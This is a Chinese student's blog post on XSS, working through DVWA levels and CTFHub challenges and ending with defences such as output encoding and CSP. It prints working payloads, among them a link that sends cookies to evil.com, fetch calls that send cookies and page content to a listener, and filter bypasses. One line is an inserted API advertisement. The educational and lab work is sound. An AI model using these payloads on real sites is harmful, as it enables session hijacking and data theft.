XSS是Web安全里最容易被低估的漏洞,没有之一。第一节课老师把“第四周作业”打在屏幕上,主题栏就三个字母:XSS。说实话,我当时心里是有点不屑的——就是往输入框里塞一段脚本,浏览器弹个窗而已,能有多大花头?直到我真正把DVWA从Low一路打到Impossible,又去CTFHub刷掉几个xss题之后,才意识到自己之前对xss漏洞的理解有多浅。一个能独立构造xss payload的人,和一个只会从网上复制POC的人,中间差的不是一节课,而是对整个Web信任边界的理解深度。
这篇文章不是第四周作业的提交说明,而是把这一周踩过的坑、总结的规律、对三类xss攻击的拆解方式做一个完整沉淀。如果你也在学Web安全,或者正卡在某道xss题目的思路上,这份笔记应该能帮你省下不少瞎折腾的时间。
1. XSS漏洞的本质:突破浏览器信任边界的缺口
1.1 一个反射型XSS的完整触发链路
我习惯用一句话给XSS定性:XSS是攻击者在别人的浏览器里执行自己代码的能力。这句话的关键不在“执行代码”,而在“别人的浏览器”。
随便写个最简单的例子,一个典型的搜索页:
php复制<?php
// search.php
$keyword = $_GET['q'];
echo '<p>你搜索的关键词是:' . $keyword . '</p>';
?>
如果用户输入<script>alert(document.cookie)</script>,服务端会把它原封不动拼进返回的HTML里。浏览器收到响应后,发现<script>标签,自然就执行了。整个过程像什么?像一个快递代收点:你递过去一个包裹,工作人员不检查里面是什么,直接把包裹原样转交给了快递柜。如果包裹里是一颗炸弹,爆炸地点就是快递柜内部——这里的快递柜就是浏览器。
触发链路拆开来看就四个环节:
- 用户可控输入进入请求参数
- 服务端未做过滤或转义,直接拼接进响应
- 浏览器解析响应时把攻击代码当成合法HTML/JS执行
- 攻击代码在受害者的会话上下文里运行
只要这条链路上任何一个环节加了防护,XSS就打不起来。但现实中因为业务复杂、开发水平参差、老系统遗留代码多,这四个环节经常裸奔。
1.2 XSS的攻击对象从来不是服务器
这是初学者最容易搞混的认知。SQL注入打的是数据库,文件上传打的是服务器磁盘,但XSS的攻击目标始终是浏览器里的用户。
攻击者通过xss payload拿到了什么?不是服务器的权限,而是受害者在目标站点里的会话凭证、页面内容、操作能力。换句话说,攻击者劫持的是“登录态用户”的浏览器。XSS真正的杀伤力也在这里:它不直接进攻服务器,而是通过服务器这个“中间人”来进攻访问服务器的用户。
所以xss漏洞通常出现在评论区、留言板、个人资料编辑、搜索框这类“用户输入会被展示给其他用户”的功能点上。存储型xss尤其危险——payload被永久保存在服务端,每个访问页面的人都会中招,等于在热门景点门口挖了个坑,谁路过谁掉进去。
我后来做DVWA靶场通关时一直在想这个点:xss和SQL注入最大的区别,在于SQL注入的目标是数据,xss的目标是人。攻击面从机器扩展到了人,这决定了它的利用方式更加灵活多变,也更难彻底防御。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 反射型、存储型、DOM型:三种XSS的行为差异与判定口诀
2.1 反射型:一次性交易,用完即走
反射型XSS又称非持久性XSS。payload随请求发送,服务端接收后直接拼进响应返回,整个过程一次往返,payload不会留在服务端。
判定特征:请求里有什么,响应里就有什么,且不带任何过滤痕迹。
这类漏洞常见于搜索框、错误提示页、参数回显。攻击者一般不会把反射型xss直接用在自己身上,而是通过构造一个恶意链接诱导受害者点击:
code复制https://example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
问题在于,现在的浏览器和搜索引擎对URL里明目张胆的<script>很敏感,所以实战中反射型xss往往会配合URL编码、HTML实体编码或者短链接来降低受害者的警惕性。
2.2 存储型:植入一次,持续收割
存储型XSS的触发过程是:攻击者把payload提交到服务端,服务端存入数据库,之后任何用户访问包含该payload的页面时,浏览器都会执行。
判定特征:payload持久化存在于服务端,攻击者无需反复提交。
这就是为什么论坛、评论区的xss漏洞危害等级通常定得更高。一个存储型xss一旦被植入,所有浏览该页面的用户都暴露在攻击范围内。黑客可以做的不只是弹窗,还能篡改页面内容、伪造登录表单、劫持会话、挂键盘记录器。
我在CTFHub做到存储型xss题目时,故意把payload先提交一遍,然后用另一个“用户身份”刷新页面,才真正理解了“持久化”三个字的含义。同一个payload,对管理员生效一次,对普通用户又生效一次,这种复用性是反射型完全不具备的。
2.3 DOM型:不经过服务端的盲区
DOM型XSS是最容易让新手懵圈的类型。前面的流程里,反射型和存储型的payload都会经过服务端,但DOM型xss的payload根本不传给服务端,而是通过修改浏览器DOM树来完成攻击。
典型代码:
javascript复制// 页面内脚本
var name = location.hash.substring(1); // 读取URL锚点
document.getElementById('welcome').innerHTML = '欢迎:' + name;
用户访问https://example.com/page#<img src=x onerror=alert(1)>,location.hash取到的内容不会发到服务端,但会被innerHTML直接解析执行。服务端日志里根本看不出任何异常,因为请求路径和参数都是干净的。
判定特征:JS代码直接操作了location、document.referrer、window.name等浏览器端数据,且未做安全处理。
DOM型xss的隐蔽性在于,它利用的是前端代码的逻辑缺陷,而不是服务端过滤不严。很多自动扫描器扫不到DOM型xss,因为扫描器只审计HTTP请求响应,看不到浏览器内部JS的执行流。手动审计JS里的DOM操作点,反而是最有效的方式。
给一个简单的判定口诀:
- 看payload是否出现在响应中 → 在,是反射型或存储型
- 看payload是否入库、是否影响其他用户 → 是,存储型;否,反射型
- payload根本不出现在请求里,却在浏览器中被执行 → DOM型
3. DVWA靶场通关实录:从Low到Impossible的防护演变
3.1 Low等级:搭建一个完全裸奔的xss环境
DVWA的XSS模块是我见过最适合入门实战的环境。Low等级的反射型XSS和存储型XSS都只有一个字段,没有长度限制,没有过滤函数,直接提交就弹窗。
反射型Low等级核心代码:
php复制<?php
$name = $_GET['name'];
echo "<pre>Hello $name</pre>";
?>
零过滤,连引号都不用闭合。我提交的标准payload:
html复制<script>alert(document.cookie)</script>
直接弹窗。存储型Low等级是在留言框里写入同样的payload,每次刷新页面都会执行。
但我要说的是,Low等级真正的价值不是让你体验“秒弹窗”的快感,而是让你看清一个事实:大多数实际业务的漏洞代码,就长这样。不是每个开发都有安全编码意识,也不是每个项目都经过代码审计。Low等级模拟的不是远古系统,而是每天都在上线的新代码。
3.2 Medium等级:黑名单过滤与初次绕过
Medium等级引入了过滤,反射型和存储型都用到了同样的函数:
php复制$name = str_replace('<script>', '', $name);
把<script>字符串直接替换成空。第一眼看上去好像做了防护,但用脚趾头想都知道问题在哪:只过滤了小写且完整的<script>。
绕过方式五花八门:
- 大小写混写:
<ScRiPt>alert(1)</sCrIpT> - 双写绕过:
<scr<script>ipt>alert(1)</script>,过滤后变成<script>alert(1)</script> - 换成其他标签:
<img src=x onerror=alert(1)>
DVWA这个等级的设计其实非常精巧,它模拟的是“知道要过滤但不知道过滤什么”的初级防御。很多开发写了str_replace就觉得自己安全了,实际上这个函数在XSS防御里基本等于摆设。
3.3 High等级:正则匹配下的闭合思路
High等级过滤升级了:
php复制$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t(.*)/i', '', $name);
这串正则把script拆成一段段字符,中间插什么都会被匹配到,且带i修饰符忽略大小写。<script>这条路彻底断了。
但过滤器的设计思路仍然是“黑名单”,只拦截script相关内容。High等级反射型XSS的经典解法是换用<img src=x onerror=alert(1)>,因为不带script字样,正则匹配不到,浏览器照样执行onerror事件。
这里我第一次体会到XSS的绕过哲学:黑名单永远在跟HTML标签全集赛跑,而HTML标签和事件属性多到数不清。onerror、onload、onfocus、onmouseover,还有iframe、svg、math、details,能触发JS执行的载体太多了。
3.4 Impossible等级:转义与白名单的正确姿势
Impossible等级则展示了防御正确姿势:
php复制<?php
$name = htmlspecialchars($_GET['name']);
echo "<pre>Hello $name</pre>";
?>
htmlspecialchars把<、>、&、"、'全部转成HTML实体,浏览器渲染时只会显示原字符串,不会当作标签解析执行。配合PDO预处理防止SQL注入,以及在DOM型xss处理中使用textContent而非innerHTML,防御体系才算闭环。
四个等级放在一起看,其实就是整个XSS防御演变的缩影:
| 等级 | 防御方式 | 绕过难度 | 核心问题 |
|---|---|---|---|
| Low | 无防御 | 无 | 完全没有安全意识 |
| Medium | 字符串替换 | 低 | 只过滤精确匹配,忽略标签多样性 |
| High | 正则黑名单 | 中 | 黑名单永远无法穷举 |
| Impossible | htmlspecialchars白名单 | 高 | 转义+输出编码,釜底抽薪 |
4. Payload构造与编码绕过:攻击面的展开
4.1 常见过滤模式与对应的绕过策略
刷标签场和CTF的时候,我养成了一个习惯:每遇到一个过滤规则,就把它归类,然后从对应的绕过策略里挑方案。这里把最常见的几种过滤和绕过方式整理一下:
过滤script标签:大小写绕过、嵌套绕过、换标签。DVWA的Medium和High已经演示过了,不再赘述。
过滤特殊字符<和>:如果输入是拼在标签属性值里,比如<input value="$input">,可以尝试闭合属性:
code复制"><script>alert(1)</script>
或者用事件属性:
code复制" autofocus onfocus=alert(1) x="
这种思路的本质是提前跳出当前上下文,让后续的payload变成一个新的属性或标签。
过滤括号():JS函数调用必须带括号,标准做法是用onerror=alert会被拦,那么可以试试:
html复制<svg/onload=alert`1`>
<img src=x onerror=alert`1`>
反引号在JS里可以作为函数调用的语法糖,alert1``等价于alert('1')。
过滤事件关键字:比如过滤onerror、onclick,利用HTML实体编码:
html复制<img src=x onerror=alert(1)>
浏览器解析HTML属性名时会把实体解码后再判断是否为事件属性。用户代理在执行策略上通常比较宽松,而WAF常只查原始字节流,这就造成了差异。
4.2 编码绕过的底层逻辑:浏览器多层解析的误解
要理解编码绕过,必须明白浏览器解析HTML的层次结构。一个<a href="javascript:alert(1)">要经过好几层解析:
- HTML解析器先把整个文档拆成标签、属性和文本
- URL解析器处理
href里的值,识别出javascript:协议 - JS引擎执行协议指定的代码
每一层解析器都只关心自己这层语义,并且会在解析前做对应的解码。这就给了攻击者利用“解析差异”的空间。
举一个经典的编码绕过场景:服务端把"和<、>过滤了,但没过滤javascript:和&。那么:
html复制<a href="javascript:alert(1)">链接</a>
a是字母a的十六进制HTML实体。HTML解析器在解析href属性值时,会先把实体解码成javascript:alert(1),然后URL解析器才判断协议。如果WAF只检查原始报文,就会漏掉这个payload。
这就是为什么我在构造payload时,第一步永远是确定用户输入最终会被插入到哪种解析上下文:
- 在HTML标签之间 → 需要构造新标签或事件
- 在标签属性值里 → 需要闭合引号和属性
- 在JavaScript代码字符串里 → 需要闭合引号和语句
- 在URL里 → 需要利用
javascript:协议
上下文不同,payload完全不一样。直接拿一个通用payload到处试,大概率撞墙。
4.3 DOM型XSS的Payload思路:控制来源,直达吸点
DOM型xss的payload构造不关心服务端过滤,因为输入根本不经过服务端。核心是找到source(可控输入点)和sink(危险输出点)。
常见的source:
location.href、location.hash、location.searchdocument.referrerwindow.namepostMessage事件
常见的sink:
document.write()innerHTML、outerHTMLeval()、setTimeout()、setInterval()insertAdjacentHTML()jQuery的$()、$.html()
我在本地写了个demo,用location.hash作为source,innerHTML作为sink,然后构造payload:
html复制#<img src=1 onerror=alert(document.domain)>
浏览器把#后面的一整串当成hash值,JS取出后直接拼进innerHTML,图片加载失败触发onerror,弹出当前域名。整个过程没有产生任何网络请求到服务端,服务端日志完全干净。
CTFHub的DOM型xss题也是这样:flag藏在页面里,payload只需要把alert换成document.getElementById('flag').innerText再外带到自己的监听服务器。这要求我不光会弹窗,还得知道怎么读取页面任意元素的内容。
5. CTFHub真题复盘:那些容易忽略的细节
5.1 反射型XSS题目的“响应包陷阱”
CTFHub的反射型xss题,初看没什么特别:一个输入框,一个提交按钮,点击后页面回显。按常规思路提交<script>alert(1)</script>,发现页面弹窗了,但flag根本没出现。
原因在于题目要求是“获取flag”,而不是“弹窗”。flag通常由一段后台脚本输出在页面中,但输出位置可能是隐藏元素、注释里、Cookie里,甚至是请求响应头的自定义字段里。弹窗只是第一步,读取flag才是目标。
正确的思路是构造一个不依赖alert的payload,直接读取页面内容并外带:
html复制<script>fetch('http://your-server/collect?data='+document.body.innerHTML)</script>
但这里有个坑:如果payload里包含<script>,在某些过滤规则下会被拦。我当时用的替代方案是用<img src=x onerror="fetch('http://your-server/collect?data='+document.body.innerText)">,最终成功拿到了flag。
5.2 存储型XSS题目的核心:找“受害者的浏览器”会执行的位置
存储型xss的CTF题和反射型的解题思路完全不同。反射型需要自己构造环境接收外带数据,存储型则要给“bot”用的浏览器投喂一个能自动触发并外带的payload。CTF平台一般会给一个“模拟管理员访问”的功能,提交url后,后台bot会用管理员的身份访问这个url。
这时候如果题目里有个留言板功能,把payload写入留言板,等bot访问留言板页面时触发,就能以管理员身份把flag所在的页面内容外带出来。
这里最容易被忽略的细节是payload的有效期和编码。部分平台会在页面底部用innerHTML渲染用户留言,直接提交带<script>的payload会被HTML解析器插入到DOM中,但由于<script>在innerHTML赋值后不会执行(浏览器规范限制),所以必须用事件属性或<img onerror>这类不依赖<script>标签的payload。
<img src=x onerror="fetch('http://your-server/c?'+document.cookie)">在innerHTML环境下完美执行,因为img标签的事件属性不受这个限制。
5.3 闭合思路的实战价值
CTFHub的题目里有一道把输入直接拼接进<script>变量里的:
javascript复制var user = '<输入>';
document.getElementById('msg').innerHTML = '欢迎:' + user;
输入直接出现在JS代码中,如果只考虑“用<script>闭合HTML”的思路,就死定了。正确姿势是闭合掉JS字符串上下文:
javascript复制';alert(1);//
闭合单引号,结束当前JS语句,插入新的语句,再用//注释掉后半截。提交后最终效果:
javascript复制var user = '';alert(1);//';
这就是从HTML上下文切换到JS上下文的典型case。没有在DVWA里反复练习闭合,我很难在CTF题里快速想到这个思路。
6. 进阶利用与防御体系:从对抗到认知升级
6.1 Cookie窃取为什么是XSS最经典的利用
xss的经典利用必然提Cookie窃取,但这里必须明确一点:Cookie窃取之所以有效,前提是目标站点没设置HttpOnly标记。
设置HttpOnly后,document.cookie读不到该Cookie,但这并不代表XSS废了。攻击者还可以:
- 以用户身份发请求:
fetch('/api/change_password', {method:'POST', body:'...'}) - 篡改页面:伪造登录框、诱导下载恶意文件
- 键盘记录:监听用户输入
- 内网探测:利用用户浏览器访问内网资源
我在靶场上完整模拟过Cookie窃取流程:在自己搭的服务器上监听一个端口,payload把document.cookie拼进图片请求的url里外带。整个过程跑通后,我反而觉得Cookie窃取是xss利用里“最朴素”的一种。真正可怕的,是攻击者拿到了用户在站点里的全部操作代理权。
6.2 防御端必须知道的三道防线
站在防御侧看XSS,有三道防线:
第一道是输入侧过滤。白名单过滤比黑名单可靠得多,但输入过滤不适合处理富文本场景,后端要校验标签白名单、属性白名单、协议白名单。
第二道是输出侧编码。根据输出位置选择正确的编码方式:
- HTML标签之间 → HTML实体编码
- 标签属性内 → 属性值编码
- JavaScript字符串内 → JS编码
- URL内 → URL编码
第三道是浏览器侧策略。Content Security Policy(CSP)是最后一道防线,它可以限制页面允许加载的脚本来源、禁止内联脚本、限制eval等危险函数。配合HttpOnly、X-XSS-Protection(虽然新浏览器已经弃用)、X-Content-Type-Options等响应头,即使xss payload被注入,也未必能执行出你想要的效果。
DVWA的Impossible等级只做到了第一道防线的一部分——输出转义。但它确实展示了防住常规xss的最关键一步:让用户输入永远不成为可执行代码。
6.3 一周XSS学习带来的认知更新
把DVWA打到全绿,CTFHub的xss题刷完,我回头看最初“xss只是弹个窗”的想法,确实觉得幼稚。xss真正让我震撼的,不是某个payload多精巧,而是“浏览器信任了这个网站,网站又信任了用户输入”这条信任链被打穿之后,影响面远超预期。
一个成熟的Web安全学习者,不应该只会提交payload,至少应该能回答三个问题:输入进到哪个上下文了?浏览器在哪个阶段做了解码?哪一层防御可以直接终止攻击链?
我现在养成了一个习惯:拿到任何一个Web功能,先看它的输入点、输出点、存储方式、前端处理逻辑,脑子里自动跑一遍“这个位置能不能构造xss”。这大概就是第四周作业之后,最大的收获。
